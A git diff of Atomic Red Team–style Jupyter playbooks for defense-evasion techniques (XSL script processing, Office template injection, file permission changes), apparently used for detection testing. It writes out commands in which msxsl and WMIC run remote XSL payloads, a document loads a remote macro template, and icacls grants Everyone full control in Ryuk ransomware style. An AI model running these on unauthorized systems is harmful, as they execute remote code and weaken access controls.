\"PathToAtomicsFolder\\T1220\\bin\\msxsl.exe\"\n\n```" + "source": "### Atomic Test #2 - MSXSL Bypass using remote files\nExecutes the code specified within a XSL script tag during XSL transformation using a remote payload.\nRequires download of MSXSL.exe. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )\nOpen Calculator.exe when test successfully executed, while AV turned off.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: msxsl.exe must exist on disk at specified location (\"#{msxsl_exe}\")\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "73ef78fa", + "id": "452f6f89", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "599a1828", + "id": "ae45bb52", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1220\\bin\\msxsl.exe https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe\" \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml\" \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "81dd7c01", + "id": "2f6de7bc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fe0dbc4c", + "id": "190d6b9f", "metadata": {}, - "source": "#### Cleanup: \n```cmd\ndel -Path PathToAtomicsFolder\\T1220\\bin\\msxsl.exe >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\ndel -Path PathToAtomicsFolder\\..\\ExternalPayloads\\msxsl.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e4228f18", + "id": "9deb411c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "740b15e4", + "id": "1f276412", "metadata": {}, - "source": "### Atomic Test #3 - WMIC bypass using local XSL file\nExecutes the code specified within a XSL script using a local payload.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: XSL file must exist on disk at specified location (#{local_xsl_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl) -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl\" -OutFile \"PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl\"\n\n```" + "source": "### Atomic Test #3 - WMIC bypass using local XSL file\nExecutes the code specified within a XSL script using a local payload.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: XSL file must exist on disk at specified location (#{local_xsl_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl\") -ErrorAction Ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl\" -OutFile \"PathToAtomicsFolder\\T1220\\src\\wmicscript.xsl\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "945f981e", + "id": "133d4ebe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2c62eb92", + "id": "1134df0c", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -128,14 +128,14 @@ { "cell_type": "code", "execution_count": null, - "id": "0b31f3e6", + "id": "8dea5a68", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2fdf8b3a", + "id": "daa3cd6e", "metadata": {}, "source": [ "### Atomic Test #4 - WMIC bypass using remote XSL file", @@ -148,20 +148,20 @@ { "cell_type": "code", "execution_count": null, - "id": "f0cc9aee", + "id": "86f3fe4e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1220 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "7431d08e", + "id": "688bdfb6", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious." }, { "cell_type": "markdown", - "id": "2467d823", + "id": "c1d8f1e9", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nThe defender can use behavioral analytics detect an XSL process doing something abnormal.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -169,13 +169,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1221.ipynb b/playbook/tactics/defense-evasion/T1221.ipynb index 62f205c3..0035704a 100644 --- a/playbook/tactics/defense-evasion/T1221.ipynb +++ b/playbook/tactics/defense-evasion/T1221.ipynb @@ -2,56 +2,45 @@ "cells": [ { "cell_type": "markdown", - "id": "5365dbd3", + "id": "613681c2", "metadata": {}, "source": "# T1221 - Template Injection\nAdversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)" }, { "cell_type": "markdown", - "id": "4617a5a4", + "id": "026c9418", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ec4882e4", - "metadata": {}, - "source": "### Atomic Test #1 - WINWORD Remote Template Injection\nOpen a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm \nExecutes the code specified within the .dotm template.\nRequires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx. \nDefault docs file opens Calculator.exe when test sucessfully executed, while AV turned off.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: \n##### Check Prereq Commands:\n```cmd\nNone\n```\n##### Get Prereq Commands:\n```cmd\nNone\n```" - }, - { - "cell_type": "code", - "execution_count": null, - "id": "acaffff3", - "metadata": {}, - "outputs": [], - "source": "Invoke-AtomicTest T1221 -TestNumbers 1 -GetPreReqs" - }, - { - "cell_type": "markdown", - "id": "9698f52e", + "id": "e4cbdaad", "metadata": {}, "source": [ + "### Atomic Test #1 - WINWORD Remote Template Injection", + "Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm \nExecutes the code specified within the .dotm template.\nRequires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx. \nDefault docs file opens Calculator.exe when test sucessfully executed, while AV turned off.\n", + "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nstart PathToAtomicsFolder\\T1221\\src\\Calculator.docx\n```" + "```command_prompt\nstart \"PathToAtomicsFolder\\T1221\\src\\Calculator.docx\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "5c1e5447", + "id": "4b6ec5e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1221 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0d9e5b3d", + "id": "9da7ffdc", "metadata": {}, "source": "## Detection\nAnalyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the *\\template control word has been modified to retrieve a URL resource, such as *\\template http or *\\template \\u-." }, { "cell_type": "markdown", - "id": "b450f2ec", + "id": "73e96042", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can have decoy systems that are easy to gain access to and have Office installed. The decoy system can be monitored to see if an adversary attempts to inject anything malicious into Office templates.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -59,13 +48,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1222.001.ipynb b/playbook/tactics/defense-evasion/T1222.001.ipynb index 2c529477..422106d8 100644 --- a/playbook/tactics/defense-evasion/T1222.001.ipynb +++ b/playbook/tactics/defense-evasion/T1222.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "9a9f8f5c", + "id": "f08eb8ce", "metadata": {}, "source": "# T1222.001 - Windows File and Directory Permissions Modification\nAdversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)." }, { "cell_type": "markdown", - "id": "58fe1182", + "id": "b17fb0dd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6a47f702", + "id": "4e39b8ae", "metadata": {}, "source": "### Atomic Test #1 - Take ownership using takeown utility\nModifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, \"SUCCESS\" will\nbe displayed for the folder and each file inside of it.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: Test requrires a file to take ownership of to be located at (#{file_folder_to_own})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST %temp%\\T1222.001_takeown_folder ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\nmkdir %temp%\\T1222.001_takeown_folder\necho T1222.001_takeown1 >> %temp%\\T1222.001_takeown_folder\\T1222.001_takeown1.txt\necho T1222.001_takeown2 >> %temp%\\T1222.001_takeown_folder\\T1222.001_takeown2.txt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d3051899", + "id": "e7a583a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "42a21eaf", + "id": "266b0546", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cf84fb12", + "id": "a29546e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7fe1bb45", + "id": "36099709", "metadata": {}, "source": "### Atomic Test #2 - cacls - Grant permission to specified user or group recursively\nModifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If \"Access is denied\"\nis displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, \"Successfully processed 3 files\"\nwill be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: Test requrires a file to modify to be located at (#{file_or_folder})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST %temp%\\T1222.001_cacls ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\nmkdir %temp%\\T1222.001_cacls\necho T1222.001_cacls1 >> %temp%\\T1222.001_cacls\\T1222.001_cacls1.txt\necho T1222.001_cacls2 >> %temp%\\T1222.001_cacls\\T1222.001_cacls2.txt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b9f54bc8", + "id": "0061b7d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2db252fd", + "id": "d21546f5", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,28 +69,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2d1201e5", + "id": "777febf6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ab0787ec", + "id": "8a65dc8f", "metadata": {}, "source": "### Atomic Test #3 - attrib - Remove read-only attribute\nRemoves the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.\nOpen the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: Test requrires a file to modify to be located at (#{file_or_folder})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST %temp%\\T1222.001_attrib ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\nmkdir %temp%\\T1222.001_attrib\necho T1222.001_attrib1 >> %temp%\\T1222.001_attrib\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> %temp%\\T1222.001_attrib\\T1222.001_attrib2.txt\nattrib.exe +r %temp%\\T1222.001_attrib\\T1222.001_attrib1.txt\nattrib.exe +r %temp%\\T1222.001_attrib\\T1222.001_attrib2.txt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e5fee2bd", + "id": "bddb3146", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0b10908d", + "id": "d9b87406", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -100,14 +100,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f8c563d5", + "id": "d4747897", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d0db93f3", + "id": "9120ea27", "metadata": {}, "source": [ "### Atomic Test #4 - attrib - hide file", @@ -120,42 +120,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6c73eb52", + "id": "03005d08", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "2a10bf45", + "id": "f5cf0673", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /A:H %temp%\\T1222.001_attrib_2\\T1222.001_attrib*.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "89a2bea3", + "id": "9d198815", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "ad3a55eb", + "id": "c87b0254", "metadata": {}, "source": "### Atomic Test #5 - Grant Full Access to folder for Everyone - Ryuk Ransomware Style\nInvokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\\ drive for Everyone.\n**icacls \"C:\\*\" /grant Everyone:F /T /C /Q**\nHowever, for this atomic we set the permission on C:\\Users\\Public so it completes faster and doesn't irreversibly affect the host.\nYou can set your own path variable to \"C:\\*\" if you prefer.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: Backup of original folder permissions should exist (for use in cleanup commands)\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST %temp%\\T1222.001-folder-perms-backup.txt ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\nicacls C:\\Users\\Public\\* /save %temp%\\T1222.001-folder-perms-backup.txt /t /q >nul 2>&1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "32d8d64c", + "id": "ca6bbe0a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "72b541f6", + "id": "9246f730", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -165,28 +165,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e0a987a0", + "id": "51432773", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "4b7e4ffb", + "id": "e78b3617", "metadata": {}, "source": "#### Cleanup: \n```cmd\nicacls 'C:\\Users\\Public\\*' /restore %temp%\\T1222.001-folder-perms-backup.txt /q >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6cd7e6bd", + "id": "794df695", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "6ee98d6a", + "id": "4284aff8", "metadata": {}, "source": "## Detection\nMonitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)" } @@ -194,13 +194,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1222.002.ipynb b/playbook/tactics/defense-evasion/T1222.002.ipynb index d2370f92..bbaa3ea1 100644 --- a/playbook/tactics/defense-evasion/T1222.002.ipynb +++ b/playbook/tactics/defense-evasion/T1222.002.ipynb @@ -2,84 +2,84 @@ "cells": [ { "cell_type": "markdown", - "id": "b61bd8ab", + "id": "1db75b71", "metadata": {}, "source": "# T1222.002 - Linux and Mac File and Directory Permissions Modification\nAdversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) " }, { "cell_type": "markdown", - "id": "a67419d0", + "id": "ff092cd5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a899268c", + "id": "fd417b37", "metadata": {}, "source": [ "### Atomic Test #1 - chmod - Change file or folder mode (numeric mode)", "Changes a file or folder's permissions using chmod and a specified numeric mode.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nchmod 755 /tmp/AtomicRedTeam/atomics/T1222.002\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\nchmod 755 /tmp/AtomicRedTeam/atomics/T1222.002\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d26af666", + "id": "5dc63b53", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c8a4f66a", + "id": "8f3af718", "metadata": {}, "source": [ "### Atomic Test #2 - chmod - Change file or folder mode (symbolic mode)", "Changes a file or folder's permissions using chmod and a specified symbolic mode.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nchmod a+w /tmp/AtomicRedTeam/atomics/T1222.002\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\nchmod a+w /tmp/AtomicRedTeam/atomics/T1222.002\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "47a6cbaa", + "id": "8aea534b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "6a231bf0", + "id": "48fa42da", "metadata": {}, "source": [ "### Atomic Test #3 - chmod - Change file or folder mode (numeric mode) recursively", "Changes a file or folder's permissions recursively using chmod and a specified numeric mode.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nchmod -R 755 /tmp/AtomicRedTeam/atomics/T1222.002\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\nchmod -R 755 /tmp/AtomicRedTeam/atomics/T1222.002\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cea1b208", + "id": "b88466d5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "82e63ea7", + "id": "d7680f13", "metadata": {}, "source": [ "### Atomic Test #4 - chmod - Change file or folder mode (symbolic mode) recursively", "Changes a file or folder's permissions recursively using chmod and a specified symbolic mode.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `bash`\n", "```bash\nchmod -R a+w /tmp/AtomicRedTeam/atomics/T1222.002\n```" ] @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6dd633d7", + "id": "4c1cc80f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "b75c8dee", + "id": "46d03a17", "metadata": {}, "source": [ "### Atomic Test #5 - chown - Change file or folder ownership and group", @@ -107,14 +107,14 @@ { "cell_type": "code", "execution_count": null, - "id": "3b13520b", + "id": "2d0ca31d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "d4902fa2", + "id": "c8fe22bb", "metadata": {}, "source": [ "### Atomic Test #6 - chown - Change file or folder ownership and group recursively", @@ -127,34 +127,34 @@ { "cell_type": "code", "execution_count": null, - "id": "9aa94700", + "id": "3815bd89", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "3b0956e3", + "id": "33b6c460", "metadata": {}, "source": [ "### Atomic Test #7 - chown - Change file or folder mode ownership only", "Changes a file or folder's ownership only using chown.\n", - "**Supported Platforms:** macos, linux", - "#### Attack Commands: Run with `bash`\n", - "```bash\nchown root /tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml\n```" + "**Supported Platforms:** linux, macos", + "#### Attack Commands: Run with `sh`\n", + "```sh\nchown root /tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "35a3e269", + "id": "c105146e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "660a19cf", + "id": "8ab54ff8", "metadata": {}, "source": [ "### Atomic Test #8 - chown - Change file or folder ownership recursively", @@ -167,14 +167,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2e4472bb", + "id": "269560c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "bc8b5ab8", + "id": "7c8e80ac", "metadata": {}, "source": [ "### Atomic Test #9 - chattr - Remove immutable file attribute", @@ -187,28 +187,48 @@ { "cell_type": "code", "execution_count": null, - "id": "3d719f1b", + "id": "ad88695e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1222.002 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "22892130", + "id": "41992185", + "metadata": {}, + "source": [ + "### Atomic Test #10 - chflags - Remove immutable file attribute", + "Remove's a file's `immutable` attribute using `chflags`.\nThis technique was used by the threat actor Rocke during the compromise of Linux web servers.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntouch /tmp/T1222.002.txt\nchflags simmutable /tmp/T1222.002.txt\nchflags nosimmutable /tmp/T1222.002.txt\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e0dec963", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "e11c243d", "metadata": {}, - "source": "### Atomic Test #10 - Chmod through c script\nchmods a file using a c script\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with 